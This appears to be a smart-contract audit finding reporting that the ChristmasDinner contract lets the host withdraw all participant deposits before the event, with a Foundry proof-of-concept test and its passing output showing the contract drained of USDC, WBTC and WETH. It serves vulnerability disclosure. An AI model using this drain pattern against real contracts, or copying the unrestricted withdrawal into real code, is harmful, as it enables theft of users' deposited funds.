The ChristmasDinner contract allows the host to withdraw all participant deposits at any time before the Christmas dinner event, potentially stealing user funds.
pragma solidity 0.8.27;
import {Test, console} from "forge-std/Test.sol";
import {ChristmasDinner} from "../src/ChristmasDinner.sol";
import {MockERC20} from "./mocks/MockERC20.sol";
contract WithdrawalPoC is Test {
ChristmasDinner public dinner;
MockERC20 public wbtc;
MockERC20 public weth;
MockERC20 public usdc;
address public host = makeAddr("host");
address public alice = makeAddr("alice");
address public bob = makeAddr("bob");
function setUp() public {
wbtc = new MockERC20("Wrapped BTC", "WBTC", 8);
weth = new MockERC20("Wrapped ETH", "WETH", 18);
usdc = new MockERC20("USD Coin", "USDC", 6);
vm.prank(host);
dinner = new ChristmasDinner(
address(wbtc),
address(weth),
address(usdc)
);
vm.prank(host);
dinner.setDeadline(7);
deal(address(usdc), alice, 10_000 * 1e6);
deal(address(wbtc), alice, 1 * 1e8);
deal(address(weth), alice, 10 * 1e18);
vm.startPrank(alice);
usdc.approve(address(dinner), type(uint256).max);
wbtc.approve(address(dinner), type(uint256).max);
weth.approve(address(dinner), type(uint256).max);
dinner.deposit(address(usdc), 10_000 * 1e6);
dinner.deposit(address(wbtc), 1 * 1e8);
dinner.deposit(address(weth), 10 * 1e18);
vm.stopPrank();
console.log("=== Initial State ===");
console.log("Contract USDC Balance:", usdc.balanceOf(address(dinner)) / 1e6);
console.log("Contract WBTC Balance:", wbtc.balanceOf(address(dinner)) / 1e8);
console.log("Contract WETH Balance:", weth.balanceOf(address(dinner)) / 1e18);
}
function test_HostCanDrainFundsPrematurely() public {
console.log("\n=== Pre-Withdrawal ===");
console.log("Host USDC Balance:", usdc.balanceOf(host) / 1e6);
console.log("Host WBTC Balance:", wbtc.balanceOf(host) / 1e8);
console.log("Host WETH Balance:", weth.balanceOf(host) / 1e18);
vm.warp(block.timestamp + 4 days);
vm.prank(host);
dinner.withdraw();
console.log("\n=== Post-Withdrawal ===");
console.log("Host USDC Balance:", usdc.balanceOf(host) / 1e6);
console.log("Host WBTC Balance:", wbtc.balanceOf(host) / 1e8);
console.log("Host WETH Balance:", weth.balanceOf(host) / 1e18);
console.log("\n=== Contract Balances ===");
console.log("Contract USDC Balance:", usdc.balanceOf(address(dinner)) / 1e6);
console.log("Contract WBTC Balance:", wbtc.balanceOf(address(dinner)) / 1e8);
console.log("Contract WETH Balance:", weth.balanceOf(address(dinner)) / 1e18);
}
}
forge test --match-test test_HostCanDrainFundsPrematurely -vvv
[⠆] Compiling...
[⠒] Compiling 1 files with Solc 0.8.27
[⠢] Solc 0.8.27 finished in 736.53ms
Compiler run successful!
Ran 1 test for test/WithdrawalPoC.t.sol:WithdrawalPoC
[PASS] test_HostCanDrainFundsPrematurely() (gas: 128934)
Logs:
=== Initial State ===
Contract USDC Balance: 10000
Contract WBTC Balance: 1
Contract WETH Balance: 10
=== Pre-Withdrawal ===
Host USDC Balance: 0
Host WBTC Balance: 0
Host WETH Balance: 0
=== Post-Withdrawal ===
Host USDC Balance: 10000
Host WBTC Balance: 1
Host WETH Balance: 10
=== Contract Balances ===
Contract USDC Balance: 0
Contract WBTC Balance: 0
Contract WETH Balance: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.71ms (126.86µs CPU time)
Ran 1 test suite in 4.07ms (1.71ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)